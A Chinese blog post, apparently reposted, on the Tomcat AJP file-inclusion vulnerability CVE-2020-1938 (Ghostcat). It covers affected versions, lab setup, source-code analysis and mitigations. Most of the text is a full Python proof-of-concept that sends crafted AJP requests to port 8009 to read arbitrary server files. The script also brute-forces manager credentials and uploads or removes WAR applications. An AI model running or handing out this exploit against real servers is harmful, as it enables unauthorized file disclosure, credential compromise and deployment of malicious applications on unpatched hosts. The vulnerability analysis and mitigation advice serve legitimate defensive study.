飞道的博客

Tomcat 本地文件包含漏洞 (CVE-2020-1938)

621人阅读  评论(0)

漏洞简介

Tomcat 是常见的Web 容器, 用户量非常巨大, Tomcat 8009 ajp端口一直是默认开放的

影响组件

Apache Tomcat 6

Apache Tomcat 7 < 7.0.100

Apache Tomcat 8 < 8.5.51

Apache Tomcat 9 < 9.0.31

漏洞指纹

tomcat

8009

ajp

\x04\x01\xf4\x00\x15

漏洞分析

Jdk安装

https://www.oracle.com/java/technologies/javase-jdk8-downloads.html中选择对应版本进行安装

设置java环境变量

在电脑中右键属性->高级系统设置->高级->环境变量

依次设置变量


  
  1. JAVA_HOME
  2. D:\ jdk
  3. JRE_HOME
  4. D:\ jdk\ jre
  5. CLASSPATH
  6. % JAVA_HOME%\ lib\ dt .jar;% JAVA_HOME%\ lib\ tools .jar

查看是否环境变量是否配置好

Java -version

Tomcat7安装

在官网中点击Archives

我是64位windows所以选择64位的文件即可

在tomcat目录下的bin文件下的startup.bat启动

这个窗口不要关闭,浏览器输入127.0.0.1:8080即可

先给上poc


  
  1. #!/usr/bin/env python
  2. from ajpy.ajp import AjpResponse, AjpForwardRequest, AjpBodyRequest, NotFoundException
  3. from pprint import pprint, pformat
  4. import socket
  5. import argparse
  6. import logging
  7. import re
  8. import os
  9. from StringIO import StringIO
  10. import logging
  11. from colorlog import ColoredFormatter
  12. from urllib import unquote
  13. def setup_logger():
  14. """Return a logger with a default ColoredFormatter."""
  15. formatter = ColoredFormatter(
  16. "[%(asctime)s.%(msecs)03d] %(log_color)s%(levelname)-8s%(reset)s %(white)s%(message)s",
  17. datefmt= "%Y-%m-%d %H:%M:%S",
  18. reset= True,
  19. log_colors={
  20. 'DEBUG': 'bold_purple',
  21. 'INFO': 'bold_green',
  22. 'WARNING': 'bold_yellow',
  23. 'ERROR': 'bold_red',
  24. 'CRITICAL': 'bold_red',
  25. }
  26. )
  27. logger = logging.getLogger( 'meow')
  28. handler = logging.StreamHandler()
  29. handler.setFormatter(formatter)
  30. logger.addHandler(handler)
  31. logger.setLevel(logging.DEBUG)
  32. return logger
  33. logger = setup_logger()
  34. # helpers
  35. def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
  36. fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
  37. fr.method = method
  38. fr.protocol = "HTTP/1.1"
  39. fr.req_uri = req_uri
  40. fr.remote_addr = target_host
  41. fr.remote_host = None
  42. fr.server_name = target_host
  43. fr.server_port = 80
  44. fr.request_headers = {
  45. 'SC_REQ_ACCEPT': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
  46. 'SC_REQ_CONNECTION': 'keep-alive',
  47. 'SC_REQ_CONTENT_LENGTH': '0',
  48. 'SC_REQ_HOST': target_host,
  49. 'SC_REQ_USER_AGENT': 'Mozilla/5.0 (X11; Linux x86_64; rv:46.0) Gecko/20100101 Firefox/46.0',
  50. 'Accept-Encoding': 'gzip, deflate, sdch',
  51. 'Accept-Language': 'en-US,en;q=0.5',
  52. 'Upgrade-Insecure-Requests': '1',
  53. 'Cache-Control': 'max-age=0'
  54. }
  55. fr.is_ssl = False
  56. fr.attributes = []
  57. return fr
  58. class Tomcat(object):
  59. def __init__(self, target_host, target_port):
  60. self.target_host = target_host
  61. self.target_port = target_port
  62. self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  63. self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  64. self.socket.connect((target_host, target_port))
  65. self.stream = self.socket.makefile( "rb", bufsize= 0)
  66. def test_password(self, user, password):
  67. res = False
  68. stop = False
  69. self.forward_request.request_headers[ 'SC_REQ_AUTHORIZATION'] = "Basic " + ( "%s:%s" % (user, password)).encode(
  70. 'base64').replace( '\n', '')
  71. while not stop:
  72. logger.debug( "testing %s:%s" % (user, password))
  73. responses = self.forward_request.send_and_receive(self.socket, self.stream)
  74. snd_hdrs_res = responses[ 0]
  75. if snd_hdrs_res.http_status_code == 404:
  76. raise NotFoundException( "The req_uri %s does not exist!" % self.req_uri)
  77. elif snd_hdrs_res.http_status_code == 302:
  78. self.req_uri = snd_hdrs_res.response_headers.get( 'Location', '')
  79. logger.info( "Redirecting to %s" % self.req_uri)
  80. self.forward_request.req_uri = self.req_uri
  81. elif snd_hdrs_res.http_status_code == 200:
  82. logger.info( "Found valid credz: %s:%s" % (user, password))
  83. res = True
  84. stop = True
  85. if 'Set-Cookie' in snd_hdrs_res.response_headers:
  86. logger.info( "Here is your cookie: %s" % (snd_hdrs_res.response_headers.get( 'Set-Cookie', '')))
  87. elif snd_hdrs_res.http_status_code == 403:
  88. logger.info( "Found valid credz: %s:%s but the user is not authorized to access this resource" % (
  89. user, password))
  90. stop = True
  91. elif snd_hdrs_res.http_status_code == 401:
  92. stop = True
  93. return res
  94. def start_bruteforce(self, users, passwords, req_uri, autostop):
  95. logger.info( "Attacking a tomcat at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
  96. self.req_uri = req_uri
  97. self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri)
  98. f_users = open(users, "r")
  99. f_passwords = open(passwords, "r")
  100. valid_credz = []
  101. try:
  102. for user in f_users:
  103. f_passwords.seek( 0, 0)
  104. for password in f_passwords:
  105. if autostop and len(valid_credz) > 0:
  106. self.socket.close()
  107. return valid_credz
  108. user = user.rstrip( '\n')
  109. password = password.rstrip( '\n')
  110. if self.test_password(user, password):
  111. valid_credz.append((user, password))
  112. except NotFoundException as e:
  113. logger.fatal(e.message)
  114. finally:
  115. logger.debug( "Closing socket...")
  116. self.socket.close()
  117. return valid_credz
  118. def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
  119. self.req_uri = req_uri
  120. self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri,
  121. method=AjpForwardRequest.REQUEST_METHODS.get(method))
  122. logger.debug( "Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
  123. if user is not None and password is not None:
  124. self.forward_request.request_headers[ 'SC_REQ_AUTHORIZATION'] = "Basic " + (
  125. "%s:%s" % (user, password)).encode( 'base64').replace( '\n', '')
  126. for h in headers:
  127. self.forward_request.request_headers[h] = headers[h]
  128. for a in attributes:
  129. self.forward_request.attributes.append(a)
  130. responses = self.forward_request.send_and_receive(self.socket, self.stream)
  131. print(responses)
  132. if len(responses) == 0:
  133. return None, None
  134. snd_hdrs_res = responses[ 0]
  135. data_res = responses[ 1: -1]
  136. if len(data_res) == 0:
  137. logger.info( "No data in response. Headers:\n %s" % pformat(vars(snd_hdrs_res)))
  138. return snd_hdrs_res, data_res
  139. def upload(self, filename, user, password, old_version, headers={}):
  140. deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
  141. with open(filename, "rb") as f_input:
  142. with open( "/tmp/request", "w+b") as f:
  143. s_form_header = '------WebKitFormBoundaryb2qpuwMoVtQJENti\r\nContent-Disposition: form-data; name="deployWar"; filename="%s"\r\nContent-Type: application/octet-stream\r\n\r\n' % os.path.basename(
  144. filename)
  145. s_form_footer = '\r\n------WebKitFormBoundaryb2qpuwMoVtQJENti--\r\n'
  146. f.write(s_form_header)
  147. f.write(f_input.read())
  148. f.write(s_form_footer)
  149. data_len = os.path.getsize( "/tmp/request")
  150. headers = {
  151. "SC_REQ_CONTENT_TYPE": "multipart/form-data; boundary=----WebKitFormBoundaryb2qpuwMoVtQJENti",
  152. "SC_REQ_CONTENT_LENGTH": "%d" % data_len,
  153. "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
  154. "Origin": "http://%s" % (self.target_host),
  155. }
  156. if obj_cookie is not None:
  157. headers[ "SC_REQ_COOKIE"] = obj_cookie.group( 'cookie')
  158. attributes = [{ "name": "req_attribute", "value": ( "JK_LB_ACTIVATION", "ACT")},
  159. { "name": "req_attribute", "value": ( "AJP_REMOTE_PORT", "12345")}]
  160. if old_version == False:
  161. attributes.append({ "name": "query_string", "value": deploy_csrf_token})
  162. old_apps = self.list_installed_applications(user, password, old_version)
  163. r = self.perform_request( "/manager/html/upload", headers=headers, method= "POST", user=user, password=password,
  164. attributes=attributes)
  165. with open( "/tmp/request", "rb") as f:
  166. br = AjpBodyRequest(f, data_len, AjpBodyRequest.SERVER_TO_CONTAINER)
  167. br.send_and_receive(self.socket, self.stream)
  168. r = AjpResponse.receive(self.stream)
  169. if r.prefix_code == AjpResponse.END_RESPONSE:
  170. logger.error( 'Upload failed')
  171. while r.prefix_code != AjpResponse.END_RESPONSE:
  172. r = AjpResponse.receive(self.stream)
  173. logger.debug( 'Upload seems normal. Checking...')
  174. new_apps = self.list_installed_applications(user, password, old_version)
  175. if len(new_apps) == len(old_apps) + 1 and new_apps[: -1] == old_apps:
  176. logger.info( 'Upload success!')
  177. else:
  178. logger.error( 'Upload failed')
  179. def get_error_page(self):
  180. return self.perform_request( "/blablablablabla")
  181. def get_version(self):
  182. hdrs, data = self.get_error_page()
  183. for d in data:
  184. s = re.findall( '(Apache Tomcat/[0-9\.]+) ', d.data)
  185. if len(s) > 0:
  186. return s[ 0]
  187. def get_csrf_token(self, user, password, old_version, headers={}, query=[]):
  188. # first we request the manager page to get the CSRF token
  189. hdrs, rdata = self.perform_request( "/manager/html", headers=headers, user=user, password=password)
  190. deploy_csrf_token = re.findall( '(org.apache.catalina.filters.CSRF_NONCE=[0-9A-F]*)"',
  191. "".join([d.data for d in rdata]))
  192. if old_version == False:
  193. if len(deploy_csrf_token) == 0:
  194. logger.critical( "Failed to get CSRF token. Check the credentials")
  195. return
  196. logger.debug( 'CSRF token = %s' % deploy_csrf_token[ 0])
  197. obj = re.match( "(?P<cookie>JSESSIONID=[0-9A-F]*); Path=/manager(/)?; HttpOnly",
  198. hdrs.response_headers.get( 'Set-Cookie', ''))
  199. if obj is not None:
  200. return deploy_csrf_token[ 0], obj
  201. return deploy_csrf_token[ 0], None
  202. def list_installed_applications(self, user, password, old_version, headers={}):
  203. deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
  204. headers = {
  205. "SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded",
  206. "SC_REQ_CONTENT_LENGTH": "0",
  207. "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
  208. "Origin": "http://%s" % (self.target_host),
  209. }
  210. if obj_cookie is not None:
  211. headers[ "SC_REQ_COOKIE"] = obj_cookie.group( 'cookie')
  212. attributes = [{ "name": "req_attribute", "value": ( "JK_LB_ACTIVATION", "ACT")},
  213. { "name": "req_attribute",
  214. "value": ( "AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[ 1]))}]
  215. if old_version == False:
  216. attributes.append({
  217. "name": "query_string", "value": "%s" % deploy_csrf_token})
  218. hdrs, data = self.perform_request( "/manager/html/", headers=headers, method= "GET", user=user, password=password,
  219. attributes=attributes)
  220. found = []
  221. for d in data:
  222. im = re.findall( '/manager/html/expire\?path=([^&]*)&', d.data)
  223. for app in im:
  224. found.append(unquote(app))
  225. return found
  226. def undeploy(self, path, user, password, old_version, headers={}):
  227. deploy_csrf_token, obj_cookie = self.get_csrf_token(user, password, old_version, headers)
  228. path_app = "path=%s" % path
  229. headers = {
  230. "SC_REQ_CONTENT_TYPE": "application/x-www-form-urlencoded",
  231. "SC_REQ_CONTENT_LENGTH": "0",
  232. "SC_REQ_REFERER": "http://%s/manager/html/" % (self.target_host),
  233. "Origin": "http://%s" % (self.target_host),
  234. }
  235. if obj_cookie is not None:
  236. headers[ "SC_REQ_COOKIE"] = obj_cookie.group( 'cookie')
  237. attributes = [{ "name": "req_attribute", "value": ( "JK_LB_ACTIVATION", "ACT")},
  238. { "name": "req_attribute",
  239. "value": ( "AJP_REMOTE_PORT", "{}".format(self.socket.getsockname()[ 1]))}]
  240. if old_version == False:
  241. attributes.append({
  242. "name": "query_string", "value": "%s&%s" % (path_app, deploy_csrf_token)})
  243. r = self.perform_request( "/manager/html/undeploy", headers=headers, method= "POST", user=user, password=password,
  244. attributes=attributes)
  245. r = AjpResponse.receive(self.stream)
  246. if r.prefix_code == AjpResponse.END_RESPONSE:
  247. logger.error( 'Undeploy failed')
  248. # Check the successful message
  249. found = False
  250. regex = r'<small><strong>Message:<\/strong><\/small>&nbsp;<\/td>\s*<td class="row-left"><pre>(OK - .*' + path + ')\s*<\/pre><\/td>'
  251. while r.prefix_code != AjpResponse.END_RESPONSE:
  252. r = AjpResponse.receive(self.stream)
  253. if r.prefix_code == 3:
  254. f = re.findall(regex, r.data)
  255. if len(f) > 0:
  256. found = True
  257. if found:
  258. logger.info( 'Undeploy succeed')
  259. else:
  260. logger.error( 'Undeploy failed')
  261. if __name__ == "__main__":
  262. parser = argparse.ArgumentParser()
  263. parser.add_argument( 'target', type=str, help= "Hostname or IP to attack")
  264. parser.add_argument( '-p', '--port', type=int, default= 8009, help= "AJP port to attack (default is 8009)")
  265. parser.add_argument( "-f", '--file', type=str, default= 'WEB-INF/web.xml', help= "file path :(WEB-INF/web.xml)")
  266. args = parser.parse_args()
  267. bf = Tomcat(args.target, args.port)
  268. attributes = [
  269. { 'name': 'req_attribute', 'value': [ 'javax.servlet.include.request_uri', '/']},
  270. { 'name': 'req_attribute', 'value': [ 'javax.servlet.include.path_info', args.file]},
  271. { 'name': 'req_attribute', 'value': [ 'javax.servlet.include.servlet_path', '/']},
  272. ]
  273. snd_hdrs_res, data_res = bf.perform_request(req_uri= '/',method= 'GET', attributes=attributes)
  274. print( "".join([d.data for d in data_res]))

源码分析

先下载源码

多了java和test就是我们要的源码文件

在apache-tomcat-7.0.0-src\java\org\apache\coyote\ajp\AjpProcessor.java文件中

此时request才刚开始处理

在apache-tomcat-7.0.0-src\java\org\apache\coyote\ajp\AjpAprProtocol.java文件中

request.setAttribute位Tomcat设置任意request属性

在apache-tomcat-7.0.0-src\java\org\apache\catalina\connector\CoyoteAdapter.java文件中

postParseRequest函数进入到Servlet的处理流程

在apache-tomcat-7.0.0-src\java\org\apache\catalina\servlets\DefaultServlet.java文件中

通过DefaultServlet类的getRelativePath方法进行拼接获得path路径

在apache-tomcat-7.0.0-src\java\org\apache\catalina\core\ApplicationContext.java文件中

最后通过getResource方法中造成任意文件读取

在apache-tomcat-7.0.0-src\java\org\apache\jasper\servlet\JspServlet.java文件中

当ajp URL设置位jsp路径时,Tomcat会调用JspServlet的service方法处理

同样会获取javax.servlet.include.path_info、javax.servlet.include.servlet_path这两个属性(经过上面的分析我们已经知道可以通过ajp协议控制这两个属性)。将这两个属性对应的值拼接到jspURi变量中,最后交给serviceJspFile方法处理

防护方法

升级到最新版

屏蔽8009端口对外开放

如果还是要用的话

必须将YOUR_TOMCAT_AJP_SECRET更改为一个安全性高、无法被轻易猜解的值即可

<Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/>

 

 


转载:https://blog.csdn.net/xuandao_ahfengren/article/details/106239138
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场